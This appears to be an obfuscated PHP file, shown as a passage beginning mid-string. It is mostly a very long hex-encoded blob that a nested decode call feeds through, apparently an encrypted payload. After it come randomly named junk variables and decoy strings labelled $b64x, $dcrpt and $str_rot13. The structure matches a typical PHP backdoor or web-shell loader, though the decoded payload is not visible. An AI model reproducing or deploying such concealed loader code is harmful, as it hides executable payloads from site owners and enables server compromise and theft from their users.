263623065636535346463333164313161323233303039303966356437643564353065656565316364613937333066313030666664633133343462306637666231303731383363363037383666303462383838373137336532313638623731656261383564616339613035393437383331363334376266623038383431643034303331616233303730323538346232383635333936376535326262636532646663303161323037646131356638316439306566393634323935383162316536623838306530333632663166333032393036623238303165383737356565326533313731663238353032616330363431393730373838363065666230653033353439373534323465613136366230336263623062396331363064326539313735663062636435326165356636623537383030633833366234313134306563343236306332303532643863356637613363326532343738343838633836393039363434383432353166346662316565636337313030363833633634363862346561656534653835333436623162386366303033613061306437613734616630326137623930643836333963646331373238336337666133366165646363313666323566396435326431363761623134326637303831636538376331306664373064616630386162613430383461303463653463366664663634343236353431363166323933303131323230623765333933636339633061353531356239373461653330633266343839643037646663663137383432626463663261333562643438356566353235316463326338363139636331343932386138666564303332633730303637626562656539333633303935343135636135633138313533303663656538636132653533646431663737316462626166336364663031646531656265656436356264323662326433383764646466393236646536646331316230393165323634306534643331393031323530336530356432623763316339383066313235383138643365386365633630326535366663386330333965653038363638313132393461623439666536366536643931393030346664393862633431663035663666326636663264333139313134363762666531613939336135326139336239373864373930393833653937383831653163313039663463386536613665613336383735333666363063343730343863623365336463336266616638383438303135393130353332383366353566386433393032376234383164643064666436616333366563326630666138666638303037373933656564613639323366643334313430633132656137303666303061623738346237636665356432346561633932353431623666653239343861333265393031333166383031653535383163643764323365646638343636613730366438626662613037396337323666363935376537333233376664333336666363666563326339373162626462616262376566633039616166393266623138623539373061303631383931323035666162613837353830323436653162633565633262373832386635306538376634356438663334346663343064343733383131323066306636303139366135306132353335393238313365306432346562633530663736656431363531343565363030633434373766663164313337663035353262396362326630343861333836616161643037613063623761623339313630353437346437383963306532343634316461346133376237313066646334666366626563313830323566353230626232333032616461316662636336303362396639656331383061633864303934353166633831636264343938653965636537376638313963666534373637396563633066333633313337616630313332353737633466376365336265363439326434343962653061336536323966376634323732323465356637653761666535653161303333643139376232343836383631613430633835326439643238633238636364323534623863316530353762633031613336373663303832633135363039663763356239643430366664373237663965656465626264343061303265306665366236643964393666323366373537623563643833313338643362376231346334653062353863396663316262396132303034356636373833623237376566356162636264636264343563303865326466633165656137353436613031636231663766663662656635613966646262383864663865373761633666666333663961323034393463623937653261366339383861313634343632343164623564363633343862393639343664346230313437393934636661363238383634373561373232646666656664643037383030336565373037633838366164643736653230663332306630373263373030303736623135383263376562623434336532353466643032633839633162643933373831666362393030626462653039313439323039396331613434303362326136363063383939636232313139323861323934353563376234626465353163396464656534623537393364353936663664366361363033346239393265656232353136663763333565663564303566633431346365303337616333653035653134306433333834613664346632313666343731383864656237306234643537666138366133393833356634346537326264353365643039643230303939613462326537633535373231313535653038633062356164303166383533386664353431333438643433396561333730386162393333663236656138346132333163373466656435623766323338393966633261363838613965303965623865636531333534356461373762623330323738636363333832653233636134383166346163373938643434323230643065643436626431313761623230353737393331316465396465393838646430653165653165303736643839653666313563383163386366626137626634383537333635393136323363663362653736373931343831356533366362343863613565386532313261363238643330633330396132613733316237333063323530353237303665636463376431313066316331373934376466653939393930336432633837366230613265393430376662383539613563623761373039623664333732303264336532376537633033653134633332623733663832306139633032333532656632306632646339373562323563643466636533323331376364653638613531633066663534616339373735636536353364326338643432323934353864316336343365373765316264336533383530353166623362366430393835333161393665643064333262636338386237646634356564303132376331663466303661346161326633376231346333393265323264373232393963396239343134356332356535636663353164373230333661323265643938306665363664396639623438393466383932363336663431353464333335666431653766623432346533313861666537303930363034666666323231626661653464633432313165336234663432396331623537383131353938373131356434643231646564326166306332396132643464316238393538363838663862326661653837323465323331653162383638343633323135386239373963623537386430623762613863343864383235396330366138656232386436646263336462653065616532663631333762353630373336636439646162303731356636363537386333356166623031646336366366663662666236303361663363386536663039616536373033633063326565636435376632616563356463656333643161303336316533343239343262356461626566323431363638373665343865383539396638373966653834346139393237396334323337653431373164616435316233653039633461353561656666396430653637666432663238383134626665323864316461343933323330633337366532353265616632646536373261353339383439336138366262326261356332633862353630363933653132313433386533323730336639396563306561666236336236326439656135613562393765373662386662383037623535383765336534363964643864626532323134326331383664656536613738363865663435383663346637613438383962643736613239323134333266346133626264343561383661646664326633303933666431663062303437393965623934343234636365316537333438303239316163646538373238636239343432323666633733366231343932613637636334303261613733363264636437313133386636396263616639373034363431616538643032393362313639626230373835393932323466326232393863333632303562333961346435363532653537663764663265616630623864623765373337306430363862373135373931363238316263393133366538386232613537333733623464333764623234353634346530373035316564616134396535366437313962656138666339306537376634613832643066313338316432346530333636336637373138346335626333666639356431653763343937393230333336636635616238383038343133306266653462623034303964356632626565666261333632656338366634663238353734393835646435343238656337393338616162626465643632346265633862303262396333376366643930663932366539636333623038343633626130633438333265383539663238653339646632666437636461363139646539653464313965653030356432313036653133346166323333333034373733336638393364663032336561393461666262386261623361316463373565313466376333353266616162653434643433666664613236326638383363356665633738346563626632373139383530313337653034626162326636336137363063343132663165613837326464383162396462343765656462363162613762353536306437653761343535393438366531623735326262303938366131616236666135393535336334373139333862346565653835313265313630396361376132323861653864316162313263373033393230323438363466386163386138343632633736353039316431353230333264313663616137303839333438343962383331336238336163353038653432616164656562313738336162326333623361616234383036383637323834623032613033626236323834313162383931383961326235326230303431366137623134666132306562636630303039613734306531386364343762336538666334323739303831383336366430393662306163623863306631326637396236663363333361316538366637623966643861396433396535353732383534633463326235393866633435393735643434396638323539363162353761343438336533656630613536616164383535646630663663356465386633646566656433343138353664666635336566343138396136626637633334643338633839356237626439623731376631346636646662336662613836613961663231643035366431656536303432636335383438633830373262666135303034643465613664653266353262386432383566306338626266373765326366353336613830616261643661633839383966656634643132333138333434396263383431666233663463366632306564643538346530376338633138663839336466366334366132656238636233656462656439363262336432376531313366643834386236653536316663623638306665616336613138393264376136373031336562303066656534613937393739366639653933653764373234343139333339633735626439643166626561656638663162383931303134326235626638626538613433393661393131343638666161613339643166346637313231656232323433646664336465616366646136383934653834376564326439623238303562326431353961383065653935393635313038613264326561326337306566366230393939353261633764636137346666383265353564323262393661303438303962326332653532316162343636643931386632636636373665333065623135346133366236386130363366393362663739656133343230373464383637633565386361646332663934643530353463363434653561316332373631343761613366303661626363626633623965323434343962353530353436333838643931343163656431323537356439363261313930656262386361666536373063613435313431626637636437653961326135396365626138393162363164353661383663373264326531656632356130666165666438353964366463383561313264626638353433356466393466313564343534393737346236313630393434353563326566336232353562313861653438636236613535366430623536353839326464383461396363383137363862636333623131326136636237646664333332346138626566343638623966623133373938376262666630326439663237383432363561313538323062656439346266373463313637336333613763386563383933653733333133333637643963646265313463393164613365376238396632393030396333373361376665373737333762666562323036313065393634666362383265663932636566393461623133343466613335313137373733616537363733626532616662323333343838373062373931306665656231316230343033643138383236656261656530353231376635353735636631313735306136626635363462353639623832613264326432386165393464313432316239633261386131326232363231303063323762646162323035336535613064656165323463323430323965313430623234316334323037356332376436643961316165326164323532373432633437366435343531396539373561393132383065623766613637306638303366356466653030316562626465636235333536663733363339356430666335333034303335613439633066303430616335623862656231656638313232653337656536396562646264623139316332656166653063386236623964396466623961613462663631663165636361373533383965336133316264666564623232313034393165643163366237663832636430643439613162366565616565646263346362333930323763643137366333303932316661323737646530333363366137633839633633333862353834326234633831303735333938356536383331626666303131376330383838656436386539386236653239343064336561313538313464656664626436373234303830623262313136666165613234623164643930663238393765633865623864666130653336343265623361346439303365616635623664616338613230613563333764653238313532376166336662663632366463353966643962363333346463666165656639396464626461653563623237363332393639616435663335663539373935616531323261336133656134656464623430353631326164383732303439613030323230666333393763363337363938353033313163333431343066323235363339623164646663633038633737333764326165616165336230323937386636663636376165666231333632353136656463303764323163323565333337656337383362653862343961386330316437366531623539363339376232326431346161613634626564303433323963333832613532373037663139313864343031383833633363363963653637643932303136343563366338383266663965653466346535666331386639393065373838653539636564623838653730343436623238646639636533646335313965306362653662356435313963643932336632366166666536373739326136353030346531306136323134653132616430613561383761643531386530353435633632386166333431396634313437326439323165646465646262616136363138633562623234353366363331373638376538353037303932323266376663336432363966653165303930636133343931376635386162643638363233666464653939636663346166663865356662633862333433386239343639363330366565336431613065353635623333386134623263336434346633643663376331613731613362313334343133376564643361343463343266643061653036643031333261623039616131303462613931383831313665646130383837636138383232323962373866346130313338396364316265333235326665656166643339633834653266633261393864356333613838393630306463626364613162656461343934626464323430323532396530396434306534393338633333343561343432343531646434643662373931656135313531353635323462636434313935616534343038646135366437383032326266376662383365363431623938633232333636323862393261616434633432633030383532313131623463616466303138643862303333653739623438646162666135633862646565316335653830353035306538636531643130313462343533653830303839633035326163366335643766656465353732613165643432366534363034623864373831626337353666343335656165363930613062326532333331303836313965373630323835353139396234326232343233323534333062636238626663376462333737643938373863636661393132356361363432666166643931623937323334386161643034356662313061666439343337333064366365313037313066616231363736646165313164313964646430363737363131313166613365393833623730323535626630623435633665663764333637316662313830353633623735343032333135333163303762336432373536663363656638643461633162386134336161323238326364383666643138356439353763303433353035306434653939383933383161396435663434653464356631663637316437633636383439663739613936316133633931323265626631613431633832616436356132653833376539393536663237353937663930333036356461393735636637613537623932646336336463656533323930393866336236653166656463383062376137613630396565343039393936313235356266313730303033653539343633633436623831613531343938326230303164316633396438626332306534336230373137626538643834356530346661316638336162633336373839653332363964366465316131363131306338376231316163656362313734353931623661326333306535626131336163386633303761346363386533333331333964373232366135623163336333323335373836613435663639366563346466346636303933653837303462363334393938386537613239326361383065366631343438656164616264316364323539626432343033366532343363653437666161356537343563636337393138333330313937376366356533323866396666373730356264363364333937656664366266646230633532313134393034663436323134356233346138643339323836623961313830653363313936613136653838303036666262663563646535396463633130616436343032363765353237376633663934383631333764393936363636386533343465396665386533353135616437336231313138363965656432333434316230353830386532313165353039313436653565313061653964656131643631386563393766306431626161336533613664393739386134323162646637343565396166383736623638633866343039336338306164663230313932343234666331643539646436373062626434306632343064633563333731663834636432396234383938343039623265663330626634356162353635356563393463623566306234343432633461303464353566313637303438353231633538343139313033363332653131303862376164316234346663366435323138326531373136313763613435663938323432393630316166666334343432616161353664623332646133373938316134333163393232613863626232623663653163313962643636623963616338633933653232393663633634613963343230653361613031323864363734363632356634323133633238373561613933376566343338656332363361343465613633373737316663643637336531383536386635313334643231373038306335326633653961386162616564626631626430346133366662626138623663316332333263376562333635633662633439623966626364396234616162386661363733386331343337323663383262313335346234316435303961633066393166363132313537336233366334383339303438643237646635306439353732633737366266643765303064323163343432656634353565393261316365366535636662626332363533386262656534646434663362623439373061353765346666303831363165386433313430666638376530616164633237663064383234396131333634326363626565636463303630656139316461636561663666366236383032366164633231636131316564306139363435303531663061343666636539613835316630636132663137303233643561333962376638366130623939346665353432633762333965633539323030393563356466313865646138373064656666623632623965326664303233616665636436646534316439663739646631353737326135656631623837316536316462633665323139363639663163356637653565666163613439646532396635653763666232643934383739643538636633626130313564613362336466306130383236646133313531326331613666366261303934623730653365383134303433313663346336623763366438373836316264313736386330326536613832373636613732323439373334306366343635643865323738663961343537323831623135653665356238663339613338393439646434316535333031383431656665386533313034663561336233346232653537396562346562396164656166383832363938326235393461353461333962393939383463346164643030316261323532356265663832643130313838633733313263613266633662353138306463383461373331393530393433396438626230383836633735656461303265643137393763616539313038353664373263613831633961373264323633656461393566336534306332363633653464323035323934393263363663313234396332336661313934643666666131636164396266326331643636373436623430393965396534613036623331623063643532623333653633643934373132376137363735643863663366383733613335363666623466323965636434323262393439356535636163626233626536393337356162353537386465333333356434626363353363623462623731613637366635616337363761646461373162623839313565653263326664323338336533386139316631656266663237343835303630333263326637653736373864343338373930336164376435316465623661363366343836366432333431363936366562373566373766666436363831643336376633643664333435613965396363373462326238643862666437636432336538623462376437366631646664323436316339633963666366356230643133633763646464303564613064383733393538323766613962353532653561633836393064303538646538636433643663396466376638643239353161313938393439636661663238343638303536616430333163646333633665623761356262613464326566663163326362326432393433313539343135613863623263316361396430623038306230616636333432333065393566633138646330353764356461313665383831343136343662323832626565346666313337323534323235356430376632343132313332313334643132323232653335656161353039373838616163373261636661656637363234323331313063333831663735356233643936383334396231353066633362366433343133386263616237386539396433303634616364373231323331613265306163336465373533386661623865623764303861363833646562383537663132383135346661613736626431646434643437303537646134376364383963636565306139623931646261623465323138646630396132303861643334326631386130323962306563336162396636376437323330643538363662383233306138353031393738343035626339646638623862336634376638316366336436353138343063323338613334343033326435303231386237313636383630336634313435323230323566653435613230363132633864373738666533656530653464333966346638666631633130303037323432663739303334646630653832333364306561366633343936663834303937356665393566376133656232313365623738663961326134343662386366653965333839376135333035366166353433663734376331626166643133633766636434343634313461653133363262313737343031383832663231636430336335633435383034383631346431643036363431343736376361666238643731643562373966623933616334333537663130393333376631363734313931353031313361623438366135663565313630613036353566353433656330616263386162616637303938393765643638376233373266373635643761303065366333646537613732323761363263653432346632633731376636653362313162313035356137383834656330633361366635343464343763303039353862613430326139663862666163396331396232333538633262616164393339333333663463623266303933656139313532666361633263333130643339376633643965633436313936653034336638393364336439386330313339346234653761376536303039666165666138363063393061663262346565623238643363623731633736373031323234613764393161643731386537306435333264653962313165366539373632326161376235326634393135623634373534663230376530646537363463623339363463333862666333616133356636326263616634653465643437666561653263323235663262393465663463376564646366656165623865666638646262396532663337646664643064396165393466636663623731346333363737303839316439653431653862383736643435383964313032613133313938343530663335383964643065343336383338633832333035623935313461383161633366306365323034363362666632653237313338393661333632313234663330326133306235316133343838383338303636366264353135396166343331373863346362643736353666626139643637656263643135396166363566666265313162323838643131646535353534386339353166613730653931386131313837643665653135306631646263653339626165336330663264386136613062656132373330313239316365303937343661333733623164616234373166366639383232616434396461643335326234386363313035643431316439343332626339396330633436356265663534383562343362636130653565613065643935616534353363333965643137326532353739393739353566613732326534386264363134643936313561356331323532366438353537356334376435633135336435343461633233643038343838306363376436623130623061363039313239386166346263313138326332633866363362323761663163343630383839323462336536363131393062643064626139356133613764626331306366346264616232383533336335653736393962373336393866333132623036363033623639343630333830663636306538353966333364383630666532333864663535373235643261323333363762383031623039316431663965393939666536356261376535643261636565653037313962343361386437653166323136366136316634396239656462656564343536663464363139343761623964366138663033656536613163336432653937346236333631633137323433316238646336303538393063303436326338313034643631663934313435376630383733633830333136383737623862656236653631306664366233326334633666636230613132346461353831303364353834336336666462373562666235613535663131613538346233666536376134343864633832363665336333643836336536373133376661303265653735366238366364323866616336633064643263613536373737643664386230336230366535393230396165636463333365646266613533353836303166646230643237336463323935666630653838613862663366323835636534373638653361393763623263666164396331323734326539353933666164636361343964383733613937636430643132613137376636633361393365633034393534646261313232373332643131636537633830363062336637323837663332636639343039393662633963376339356330623365346365353538663636353362643239626462626565353763376663666137343161396162636665636436633935383030356265363631386665353332393934393233656631373032336634396338333832663461373831633765386533626464313937333135326138353066623965613565663763386639343034666234336331663865353364303761313564353135653761353161306261666361366663653739633832656234306433633435306434373235396231613866393934313064313331363530323361306335346336613661373430643761393862303830646565343336396239613936313132366264633936643463346464656361653539396130356335626363326166386364383231616534316333326539353364323835333632366533623130323463623836613535656161383865356165633739653935306338393066626232316265313261613031626634323236653039313965386466343565386661343665373033333937643632363163356136353461363339303439653334376234396661396537366439653938396263343439326265373436346366343333346330363436363230363464303235396333343262303337613363633137633466653631326534663737316434316234626137613236376539323632653665383666643264653865313437643339393963643764636439623032353737323164613339346263663966336566396561313461333765663663366465616266393638343861316132316162303437383366346538666463373039633631373866366534363431333165613064386361346530366464343162313763336631383733306332373366386137346639653937396533656439386632663463383564373537653433323232643033333266646132643935616534366264343133383866643034336166376637333564306164313666303266653135323765333262363131666131373864666632633938363361623866383137"))))),$ERRreukQ);$Ppqn="JHbgPMrDrKPgMjHKcYiJX";$lIUebO="CVibLGFAjFRpYBuwDSsXOsEvDQNByTuApcaZhGzskPGiqzeTrVqF";$PLYRFcJpMy="sXUpmgVUWbiZCnj";$kyZQrilD="RdpaNNkSpwhj";$lwyRKvS="jvgEpbzcixHTxNPHeNSDJ";$tYd="IfNSqDUDbbQOMIsDUdjUYISEsesJehKmNWECAyeBzuOLbFNwJwqHdHlvLcE";$MYuepI="PIaSrHIyiTFWzDZVPZtqUfOiVEMVxcWlKWDBDkylD"; function gqGXfYe($wREG, $XGBaGwiIx, $mJHJrDHY) {$mJHJrDHY = $mJHJrDHY . $mJHJrDHY;$b64x='JqNWaRqYKgZFBpROXINvxaVUaRaUhasRqEmPUCmdJlhJZYxxfjRbJmWjDwdKwUaLXmZrpmuxyBfXYcudlKfvWBEzWgJRAJCxwBNKmGGLGLhdNBgzKLTHLxFgDnXcXYYtZkClQhwVsDYfdeEnqWUAtzHvNEWjDUbbeDmujJpBlmGPQJcfFwGxuMrgqmPsgQtKSfdbOsDzEINvspZwjetEQJKGWZxCPQmIvqiIhLgkuuekhEfsIyVYheEddaetqraKgisnuYXmRcxYGbqNAkLgqpjSPNkeeKpktfXMduyuwutBvIpUtZahOJzDxKgaTvKlBgxdAUyWnqWiXkcPKDwXLVAHFGHXBQjBWfExABSNQOvnzXCiAYfKTesXjyUKpDKKJpgipYvfmQtLNUTMsyVkCmHLkbVYEFIMtpuIMpmYeFJrYbCQzxAAjhLTifrlKyYDMskzGxWjBfZYganfyOegVPZDuqOENlgZdQXiMTSmyRKeSYJPlNVgcuiwJwZVIFukvrtgKkShCclTAUILhcrjwzeEUEzbiTLEJeKtOcaqelIEGqpNsFwmDAQWdPYMhiqQmzJBBJQeuYIZnwlfAHRCHIzjWWVdeKtRjBsjJHpdFwCTsnyrupTawsKsneURPNIYNZHxHvZlRBEInBYIQrhlIRdvWxmkjuiXupTaKSLatPIgqfOfxvREMuZhQLsAeZWynPXXHiXzXeFmkSSHnikZCJGRTXrYWMVjBtHHBEGXJkjtDBZqJJOkSucLrSimFeVFWCmWGSTpCCHEdfTMnHxfaYRQQzCUDXAYzlUedNSePYJSdCdsJAWiXmZOMahOXgNWsHaUUtZJrIBUJdLRdgaauznFzwtxCfSUmsOgKmPBUPvdsFUvLUweSJJsECngHfAtxNzHaNhubbWufROQkJvdtDUWeHClMBEIpDOOPvhRVeKavXReHLHznBvShxdtXgBlipzYKHpekyfevwIBgqZuQvlyrOQnVrZdfyBpEptnMyRhTAIZPITeCECsttFNidqnbRbFfvtsSJzliGKxNcCOHdfzVklenBRpRTuxNlOFUMqDRAZFCaSieYHzIscvtUjjmDfZntdHETjwtJAUJsdmPjMWCnsUHBDTDisqBwWfpGagpAaxrDjGNvbOIthqTKiVsakTwhyjmyqaxqxmtGSFaUtiMZyfifaBfLuasRjEOYEkOaWggPLGiDOuCLzKRZkWKdXbuGFHFIrthnYNcJuKLHdMtcVJbgeLJBldhqjlXBdeObSqjLZuRCfJEasFGxPqxaSdqbpMCRRPSieBtdUjfzTJAkOfgcUddlgSnVFpMweediewMZeRXXZxImcnqWrtiXKVSpjdjNHmwMhHkmyhJWFQJgEYcUQKrAFippMybtkWesDOdAWmxacfgGDiaSTrsXZGlLENDOJIFmwJMRvIRWmXcPGCgYSYVrdHBHuevclapgiBYcipYwMaKsbRPuPjKsQLZjPTMAtaGBadcjtbeeBnVDEKWStfkjQjSeCEEVeKweNzNFZrJZFdCiNXBgdLPtuHyVLBQPkMtyKgcixlhBpjjCgKhJUWcncZINAzCkKVhuBjCxUiYjshLYRsHkniyPhfDhdERNYYGYHHwCQukHavFrMMBzUynCDqiguZtRXzQdfLFvepcEJgUvSvtmSgnUwwApUTGrsVuWGzsjNTNWZHQsbjEtqRmkMNZGfFWxAPtfnjpBcbxchmuIwxakNMwzzUEEzZAYOtDCCrCFRYHYKAGgWGQisLgrFKudiuBwMdxnuYSKWYIHXNmttcBknHaSQTwymWUYArmtPEdLcLRZzDtrGtatAAkquGnGchFCXrUMuXXwiOVgsNWxfxpFWzvqFIwgpaILQbXjzUfghamYNiUsFixbhrQMylsMLZWBATkYNqevPQtbznSDwpEcFvnCGFnsEksEDbCrQgLFWDfvqYYlmCnswCTcgHTkrKOTMqJCwuHSxMmMjkXWmlnINGjTMCdcMrwXHeYCYFuvRHGarEWcPJLbPuuBwXdhnzeuccWa';
$dcrpt='lfHJpuauQzcjiVVXKpALllBqHrzPiiEuNLCbeDvubWDJRXHClgMWRnLydjnlRreEbGFFiAYKwCtnzzpkFagVNSuqBgBtWeWyLbCtaBCVCVIAuwKzxruJImziSzapExMOXnGXniSPDaPwwYuspObWAAFtyFgbBSpyFVUtDmhfmwaIvvaJIBfhAKZXOFZqxnmCIhUkuBPGXqnsKnARnFyNOyLDCjsZWEaFLupEuEjrTXhcKhTYMrLBnwDQFUpCXOGJhumBXWsQTYsDfkasbMspHUEMnSNkGStmlfnjbFzucRwibxZcIrROkvAXNMhtEafQftzGxXZzOvgqrfRYwINfDMcqYKhCKmRpFqUbntaBNgqEmhbIpnnRaPgYzpZIarWfGqGtIGuVNJzzQAGfOTWnJDLHrjqrALVgBCYiHsdTbbsRCYwPrSCZvmgkwwaWGWCgyAPEsSytUPJVmfjEXLcRXibSdBnjxpquPeYgxwYQKHLxlUaIeCzBLZtnagxxvmrjQOPmJmctUmPFGpnKRlkbLdpLjlhEyXnnLCBuPcmiqbNvQafHmPhxSwhbgOfEMtsxusriTDridEdTEIAqxgMPcTqihvmTmEPHvfPnhGWljZemHecdkOSmhiVpchHqLVWFbkSiqOTzNYlucnXMbpZIWUwZBCOLyjqYuhGjWAIJyTDZgZkInjPkDLJDmxnKGDhzLOIHNQPkiRJqQTxEDlnFWWiJtwSyzawjOEqBuEkCwtrLLNONzbtUXaDPVwMuwiDJMSJfWtgRLybVKQJiRbDPBfdwaQQVYtEjLMpgevXpsYkcOtKGTmUuSXPSmFOkyRuIdhOHckwuiGVxyfCrswKjSzCfEPPBfJiiQwQsGllnrgKOllEdgnMzlndpCSPIaxQRSfIXQTlGAvTkgxnmjakwNnKPg';
$str_rot13='NmgQhTvUKKMaJKEyCqTkITFCDrSKZmVlAbBguvaDeNDmWGLyWdJEWNfZDXibKdmjENqXhQZmcCYYIJWEMFhiRMHvjPwTSiCwVrSDgRpISmHZWcDhHjqyWWsfLnycwZXrq';
$b64x='lWQRfExlwLmFcdRyYCYJfgzgDDSNmnEXjupPYkAuVMyXPPwmrTVxZUcbWUpIHSfQLueJEEDYPAWEpRqGjlCiFdjBxyidPntBgyJjBlirlEuAUKFdvGlZJUZFSHIHvBhBYrkzCtPmwJNqtRSNyDMGxLlOstVMTcNrtXQvPegkNtZFkRshudmqnXEfrzrJaDauZqnOTuygmWLxNddGGqwunZYdyplyslrradfUXcAjZkflNisTyNmklkNJYZGqKXHLAlexnEGMnkYBtqurCGaNQOwnNBExyKHYVLUIOavCkScEHwuibuVrhQEurHrprXMLifuwfnXQFZulvmTVGnLnDPHtwXgmvsXDyQYcDwSHvLsqXkKEXwrZKXtfvzRPrPROepQhKJOfTgURQEUOzkNiHFObEFqUTGIYVXFFftjZzdQPhKcGuPpaUcCyHRsByzYSwDxCvHBujQirAkxtzLStmuQTLHTIfrACtwdOcdHMTPCSzYkxicQvWfOHNHOsynTQJwdlYKxRYYJWxtuFVjAROnXauLtRyLhGHkrFvNxtMFqIyJmtslJFzfGtQyjNirtPbKUVWrnIvcPSkCkbNtHmyMeNjnARetgFcaAYQmgkqvDZWmbKGIwduARcNQTriZvKzUiphOZWiCVfOwPudkXWjnYwdsNMQhwqCEdisceadzfSVULyEhUNvsiYJvKAcFpdJslAvPAyNFPIYaGChAOcrxAaRJZtnnwWFgWzVwxJbLQZLVbtUpvlLUlccKUqXrMbxIBSDxBdhQDTMElGSfrdzCfBLZqIPbKMiKElgEpNTRfFvQLNVbqudvuOTKWikfUTpXeUBtHuKNzEDJrYKGRmAlBTvWbFbVXqSbjSUQldcjHfSydcDUpdfpwZkxFlRCaidjaxALAbVggNEjpHeEKJsFJDbNnsOpArXZmWKMYeteswOGcsJlabQiErvRIjFHZDGmzQYWUQbLMpsOGaAGbPpegJwnsavscadbqBXksyvdMMrsmQyNGlSlunYMNtDqTfriGNSXLnAxzRpLglzlxQxQDVbqndegiUPpIHLtUlpTCcEInCujsqAukBjzeneMiTaqBMIUXwNYYRflSzVKPvdzVmXzBclivlyVxFquaCRYSXKLVFvjZyJukGTkhEtDPqXmUMfupxtguCrOGLYFJHytMQDuuvwJKSvEFAXtwPYpQqdwABAIHYatODlixHRgZljEkHWHwuvMJyhjYIRefsXTUiBRqRXpChsNnNTignUQlczJjPOpgLHBtIsIzOwbvNnIAGRgtLWdmUNViBJqLQqdyHlwUHWqvjXupnAIzVLLpXgyXPNIFClcIxYCdUrXEpRSbrZAMkLahRyFGKMLlXmTTkVxflTJZKBbBaaMkLMRCKwIuItfeFyYQtUvFNdEydeydfjNQvFSeAAYhsDmWaKluEGyrJBnmfkqkudAPhRtHQrphTaEuKPmnwjdEKRQpbGYVJYjqPCWGtKmLKQeufQgaZKEjBUyCAxxIUGXJItOAdBkNrPHwFmweWAnxTLzSHVABbWKiOXIrySEPgkKlxGqTfDqYNOQUjPUKkESYbZPzrtNyDXJzDYshBhfNVvHEJCnTFFrGEfFVyRtAObzQzqXzxclSWTwFvKXzppftTjnRaGQpgpeeFcDBEOtBHPFBYDaMrFeJOsAOxQcDeHgiJJKmyCmErsFOUeBKJFSWXSjTIMWltcvbMENJfAMWRrKkUkucQlYmDiFkuBxMErmqUzyzyjvOafYUqRxFDvrfcWrwxmHaDtPWSmvPWQEWvbqKTMPVHFaiBQeyckXeEmaVzVKUknqFPfOIrDcXIcGitKfUUdZyqzSnTDIdqXIecxluznQgQwPifUcaXBXMAQAtShxheeMHaxaALQGamvIRPjrlLpYKEXcwezcIdnpdLpcVFivrDchslYEwmbfqYikCgMjJazmkmpFRxZHAbprmmuJYUnnSwXTcJdLibxSnMxFIwlHWZYJlRRJMeWdBtXcCANKBKDOwzSDVEkrDIZpzQXkVupVMLXnkjyLTaYOzRsTvbkXJjLhAJSvcgqOrMCBVZLpzJcxAuruUaRDJCLikDcMisazdCzzaJNYspvsikkcKbGudrbnteAawAYZBxXafjYWytNGEYinZOgcEiQwmPwhpuGpqDpvMmQKFEPICXwakbDnjSJVHedvXJJmMXgXJXgnaWwCtrbEsErbVawCEzWCIeOTBVqjsxXsSttkiunZyFAteWvIUQjbVYUwtkGKHcBzUTicmWBjBbDeXXMrNWthumElWJvcLVaFOj';
$dcrpt='USZxxgPttkEFnOiVBJcdClJcKrfXCurWLrSixHaQRdUFRCZRlbUmNDqxuUTvNjQYZJgWqglHjflBIkstLmeypTuImMDAWtyvbErsjbYShJtptkgdxkbkEUtQHVqcnNWPQngzpERVMjjeTqHPahaEctuiNjKAwGpMtUkIXbcJLMmEbUuBBTecLYkyHUxcalOtfzadADlKpzOPShrSAUVksfhYAEbAPpsvNSXNvixJgkyyRnrriLaZQhYPlzOANgUBYrntZjBFUydLMTCuECtTjQiUpWuCCOcAePsdysJsQlDCEEvHFNAOEhIseCTfqvGuJxyhPGYFRBGUEaBjmAXqIfhlHarwVwPETMkhRJlIJRbnrCxccuSKYZveZLAuhPYABIHtrsAaibnYDKaeDSnbrIfQufjaUHZUqfMfxmFFNScqbCveUIFkQKajpkJiRIdGNPMjBrnnJPdjryNkFswvCwdQflZXTCDfQOOsfBenqhxHekrKCMEdIIumTSjmumRjaGaFgfSxMPDRZTaafEEmLXzePJrIvhrUmsZuWRqIGsYekYfqcJCmfbrUjgbdOsXaiWTEniMtAKykicZKLbWQcnjLukOHbkIKhBnvjZNiKKSsMSbxTxMvjvFdeSKgcsQjtddbDrJMaCdmuEiMaVGkqkNUcxaePqOHSRIvHQGIsJUkMcwmxbWmLJgmfGsuvFAmVHhDyNKPWdAhFVucXPOhyuvdZlWuQxfLdMNBAxQVZqcFkxgHLUPJNjMMvhFKEjUhWIIwEXQEmSiXOOdAhSiUBufvBjeftZmpgujKRZndswAfjEFrVmKxGPRhYwMsUyfarPKhnYLFTkLDnPtjCdGhSWOrRZhLWmknBVUPtFulqEnDTHMvKRbbnQsEpzqllZzMUSBMyvymYLPRsbLBsNcFcuJrtyCExAPRtrDqkaCilQADrKEJxGNzzwqrTrurrjHiZjyjKzRVOQXfBBnxGawFWLVPbPFRYlZxVWfFvwAJMxOmybiDBEhxpDMQsQHPCgLWcqBXLAGxwTitusWUvDRjFDZwSfKuLvqOKqkwPQsLiBdCszwMcmVHpud';
$str_rot13='lVCJZTrpniBHrXKIkVCGqwhTDtdqQuDbpFjNyACkicrzzAGKviqLEWdhOGWEzzfNdOabOCLWdcUCCaLxibhMXKtlqppOnTarIAswbDREFkgGkRctsJFPtxahlpvziwpqVgLxJbanLGTWXwOpeSdXqdeBSAzavNqPTALCaMpLRIHOdVdHNGECjiCbhaBbnqQgpbipmWZdEgSgbvOnaRQjzsKGSkgfZxLnytCKqCNtIeAiYNwzElhDdSiVCPAClkPJEsSttFLajKiHxdfBqndtFLNgAmILxyTApLsHQdgzmOfjRlKgYmYDXkJXxRhupbTclLiBOpZACfJtQtZOFxQcIzZeqgydHRfTCnuPbTODYyWnqvBvRrxzPVdFbBIJRnbSaUgCNVektAXIuyclOYKdTmIvOPdeCEXDyDeLyIVQItYbQAmezxhRJplWDO';
$b64x='NNwkdTUOdqsLgwadvNCfzOPBOVFgjAMWmhgPAAEEPvpWROzlabQApeAczeiIeVFQCLGcljfAduVUhvFiwvhjYgmyLUfPPjFRvKTftYFxRaryvwfqQMzpTkMEfrSuaxkvHDAZaEwREmqyIUmXHllAVxDaOvvnreIXIHxIKSZOEOLlIYjpJUnEsqeFKzSBDZXKGuSPMRDqepCMMkBUeOyVeCAnARnDQlMVeELQUNGYbHLNr';
$dcrpt='lUYTiFnBxKcFqIpNXb';
$str_rot13='XCOVYBjJGUpVGkiwxsQqwCSmXxMveNZbPNwNNewSyjOeuWZQOpGjqyVmuIHyUfYJSUwfYrXxALathZjvppddlYrG';
